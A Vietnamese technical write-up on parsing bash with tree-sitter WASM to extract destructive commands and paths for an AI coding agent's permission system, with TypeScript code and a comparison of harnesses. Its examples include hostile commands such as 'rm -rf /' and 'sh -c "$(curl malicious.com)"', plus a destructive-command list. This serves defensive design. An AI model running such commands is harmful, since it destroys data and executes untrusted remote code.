T18 — Bash command parsing với tree-sitter WASM
Regex để phân tích bash là bug-farm.
rm -rf /, echo hello | rm, sh -c 'rm x' — tree-sitter parse đúng grammar đầy đủ, extract paths cho permission system một cách an toàn.Tổng quan Tool Design
Tại sao quan trọng. Permission system cần biết: lệnh bash này có modify file không? Nếu có, ở path nào? Dùng regex để detect điều này là cực kỳ nguy hiểm — regex không hiểu cú pháp shell:
rm -rf / rõ ràng, nhưng sh -c 'rm $(cat target)', $(ls | head -1 | xargs rm), hay export X=rm; $X /etc/passwd thì không. tree-sitter-bash là full grammar parser — hiểu quoting, subshell, pipe, redirection, command substitution.
WASM portable: tree-sitter-bash WASM file chạy trong Bun, Node.js, và browser — cùng 1 binary, không cần native bindings hay recompile. Lazy-load đảm bảo cold start nhanh.
Phân tích code chi tiết Anatomy
Lazy-load parser + WASM
tool/bash.ts — lazy parser init
TS
import TreeSitter from "web-tree-sitter"
import BashWasm from "tree-sitter-bash/tree-sitter-bash.wasm" // with { type: "file" }
// Lazy-load parser một lần, tái dùng cho mọi command
let parserPromise: Promise<TreeSitter.Parser> | null = null
function getParser(): Promise<TreeSitter.Parser> {
if (!parserPromise) {
parserPromise = (async () => {
await TreeSitter.init()
const parser = new TreeSitter()
parser.setLanguage(await TreeSitter.Language.load(BashWasm))
return parser
})()
}
return parserPromise
}Walk AST, extract paths từ destructive commands
tool/bash.ts — analyzeCommand
TS
const DESTRUCTIVE_COMMANDS = new Set([
"rm", "mv", "cp", "dd", "chmod", "chown",
"truncate", "shred", "wipe", "mkfs",
])
export async function analyzeCommand(cmd: string) {
const parser = await getParser()
const tree = parser.parse(cmd)
const commands: Array<{ name: string; args: string[]; paths: string[] }> = []
// Walk AST recursively
walkTree(tree.rootNode, (node) => {
if (node.type !== "command") return
const name = node.childForFieldName("name")?.text ?? ""
const args = node.childrenForFieldName("argument").map((a) => a.text)
const paths = args.filter((a) => looksLikePath(a))
commands.push({ name, args, paths })
})
return {
commands,
modifiesFiles: commands.some((c) => DESTRUCTIVE_COMMANDS.has(c.name)),
paths: commands.flatMap((c) => c.paths),
}
}
function looksLikePath(s: string): boolean {
return s.startsWith("/") || s.startsWith("./") || s.startsWith("~/") ||
s.includes("/") || /\.\w+$/.test(s)
}
bash command: "rm -rf ./dist && mv src/index.ts src/main.ts"
│
▼
tree-sitter parse
│
▼
AST (Abstract Syntax Tree)
├── command: "rm"
│ args: ["-rf", "./dist"]
│ paths: ["./dist"] ← looksLikePath()
│
└── command: "mv"
args: ["src/index.ts", "src/main.ts"]
paths: ["src/index.ts", "src/main.ts"]
│
▼
{ modifiesFiles: true, paths: ["./dist", "src/index.ts", "src/main.ts"] }
│
▼
permission.ask({ permission: "bash", patterns: paths })
Tương tác với kỹ thuật khác Interaction
- T24 (Wildcard permission evaluation): Paths extracted bởi tree-sitter là input cho permission system.
analyzeCommandtrả về paths →permission.ask({ patterns: paths })→ wildcard match → allow/deny/ask. - T26 (Arity normalization): Command name từ tree-sitter parse (
"npm run","git commit") được đưa vào arity normalization để suggest wildcard pattern cho user. - T25 (Session-scoped permission): Khi user approve
rm ./distvới "always" →bash:rm ./dist*được lưu vào session state. Lần sau parser detectrm ./dist/...→ permission check pass luôn.
Failure modes Failure
1. WASM bundle size
tree-sitter-bash.wasm ~1.5–2MB. Tăng startup time đáng kể nếu không lazy-load. Lazy-load giải quyết phần lớn nhưng first bash command vẫn chậm hơn (~100–200ms) so với subsequent calls.
2. Shell exotic syntax
tree-sitter-bash support bash/sh grammar nhưng có thể miss một số pattern của zsh-specific syntax, fish shell, hoặc complex Here-doc. Với các shell exotic này, parser có thể trả về AST không đầy đủ.
Security implication: Nếu parser miss 1 pattern, permission check có thể bị bypass. Cần fallback: nếu parse fail hoặc không detect được command, default sang "ask" thay vì "allow". Fail-safe, không fail-open.
3. Dynamic command construction
eval "rm $(cat target)" hoặc sh -c "$(curl malicious.com)" — tree-sitter parse được AST nhưng không thể biết giá trị runtime của expression. Chỉ có thể detect pattern, không thể đảm bảo an toàn 100%.
So sánh với các harness khác Compare
| Harness | Bash analysis method | Accuracy | Notes |
|---|---|---|---|
| opencode | tree-sitter WASM (full grammar) | ⭐⭐⭐⭐⭐ | Chính xác nhất, portable |
| Claude Code | Regex + heuristics | ⭐⭐⭐ | Documented bypass vulnerabilities |
| Aider | Python shlex parsing | ⭐⭐⭐ | Tốt hơn regex nhưng không đầy đủ |
| Cline | Regex pattern matching | ⭐⭐ | Dễ bypass với quoting |
| OpenHarness | Hardcoded sensitive path check | ⭐⭐ | Pattern-based, không parse AST |
Implementation recipe Recipe
TS
// Install: npm install web-tree-sitter tree-sitter-bash
import TreeSitter from "web-tree-sitter"
let _parser: TreeSitter.Parser | null = null
async function getBashParser(): Promise<TreeSitter.Parser> {
if (_parser) return _parser
await TreeSitter.init()
_parser = new TreeSitter()
// tree-sitter-bash package cung cấp WASM file
const lang = await TreeSitter.Language.load("node_modules/tree-sitter-bash/tree-sitter-bash.wasm")
_parser.setLanguage(lang)
return _parser
}
export async function extractCommandInfo(cmd: string) {
const parser = await getBashParser()
const tree = parser.parse(cmd)
const DANGEROUS = new Set(["rm", "mv", "cp", "dd", "chmod", "chown", "truncate"])
const commands: { name: string; paths: string[] }[] = []
function walk(node: TreeSitter.SyntaxNode) {
if (node.type === "command") {
const name = node.childForFieldName("name")?.text ?? ""
const args = node.childrenForFieldName("argument").map(a => a.text)
const paths = args.filter(a => /^[\./~]|\//.test(a))
commands.push({ name, paths })
}
node.children.forEach(walk)
}
walk(tree.rootNode)
return {
commands,
isDangerous: commands.some(c => DANGEROUS.has(c.name)),
allPaths: commands.flatMap(c => c.paths),
}
}